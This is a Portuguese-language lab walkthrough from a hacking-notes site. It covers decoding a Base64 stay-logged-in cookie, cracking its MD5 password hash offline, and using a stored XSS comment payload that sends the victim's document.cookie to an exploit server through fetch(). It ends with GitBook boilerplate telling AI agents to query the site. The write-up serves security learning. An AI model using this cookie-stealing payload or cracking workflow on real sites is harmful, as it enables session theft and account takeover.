> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/authentication/offline-password-cracking.md).

# Quebra de Senha Offline

### Quebra de senha offline

Este laboratório armazena uma **senha pass em um cookie**. Além disso, a funcionalidade de comentários tem uma **XSS** vulnerabilidade. / Objetivo: recuperar o **carlos** cookie stay-logged-in, quebrar sua senha offline e, em seguida, fazer login como ele para excluir sua conta.

**Credenciais fornecidas:**

* wiener : peter/ **Vítima :** carlos

<figure><img src="/files/fff681cd877ae2851738ad2d41a75b956624b205" alt=""><figcaption></figcaption></figure>

### 2. Como o *stay-logged-in* Cookie Funciona

Quando “manter conectado” está marcado, a requisição enviada contém:

```bash
username=wiener&password=peter&stay-logged-in=on
```

O servidor então retorna um **stay-logged-in** cookie codificado em **Base64**:

Decodificação →

```bash
d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw
```

* wiener:51dc30ddc473d43a6011e9ebba6ca770

<figure><img src="/files/b5dae6724cde28c39a554d56d2333a1d10fec970" alt=""><figcaption></figcaption></figure>

O diagrama a seguir é, portanto, usado:

<figure><img src="/files/19fe64ff430d9da327b165f97b0474040b027c42" alt=""><figcaption></figcaption></figure>

### 3. Tentativa de quebra offline via Intruder

No Burp, você pode criar um payload usando:

1. \*\* Transformação de senha em MD5\*\*

<figure><img src="/files/a447c78f5d116e54fd8b6519bcd8495f718b91ca" alt="" width="548"><figcaption></figcaption></figure>

* \*\*Prefixado

<figure><img src="/files/7f705125755b064723d5973ebe8977f5facd7729" alt="" width="563"><figcaption></figcaption></figure>

1. **Codifique todo o valor em Base64**

<figure><img src="/files/7f9c6ac8a429cd9efb836a81180226d34792a81d" alt="" width="563"><figcaption></figcaption></figure>

Depois teste um dicionário.

<figure><img src="/files/e12c9d2725fa51987f41ce32bba2651bb530ae69" alt=""><figcaption></figcaption></figure>

→ Sem resultados conclusivos.

<figure><img src="/files/c0fcca7897f4afefffb655568cbd3481258f249f" alt=""><figcaption></figcaption></figure>

### 4. Exploração do XSS nos comentários

O campo de comentário é vulnerável a JavaScript:

```javascript
<script>
   alert(0)
</script>
```

<figure><img src="/files/90a3a9c95119e8e5186101b670c5627616ee4cac" alt=""><figcaption></figcaption></figure>

Então podemos extrair cookies via um fetch:

```javascript
<script>
   fetch("https://exploit-0a180072041825ef80c502b6013c00ef.exploit-server.net/exploit?cookie=" + btoa(document.cookie));
</script>
```

<figure><img src="/files/b4493d6c778783a59dc2b2af402b76dc74806622" alt=""><figcaption></figcaption></figure>

A requisição chega ao nosso exploit-server.

<figure><img src="/files/9409567fb9746ca85339bcb4ad9bfd8b8e951e70" alt=""><figcaption></figcaption></figure>

### 5. Recuperação e Decodificação do cookie de Carlos

Cookie interceptado (Base64):

```bash
c2VjcmV0PXY2UE5LWnJ3czNYSmFNVWtaU09wOWJRbGRCVUVlQnhLOyBzdGF5LWxvZ2dlZC1pbj1ZMkZ5Ykc5ek9qSTJNekl6WXpFMlpEVm1OR1JoWW1abU0ySmlNVE0yWmpJME5qQmhPVFF6
```

Decodificação →

* carlos:26323c16d5f4dabff3bb136f2460a943

<figure><img src="/files/89e9bedc80e9a6c92414f20118f3cc11b06e2f9b" alt=""><figcaption></figcaption></figure>

### 6. Quebra de senha

Depois de enviar o hash para o CrackStation, ele retorna:

### 7. Finalização

Conexão com:

<figure><img src="/files/e2eb3a55027eea61aaee93cf9d3f6ae01a058be2" alt=""><figcaption></figcaption></figure>

**carlos : onceuponatime**

<figure><img src="/files/22b0663f46a10db2d9c8bf57e0ed95d984ae3c2c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/authentication/offline-password-cracking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
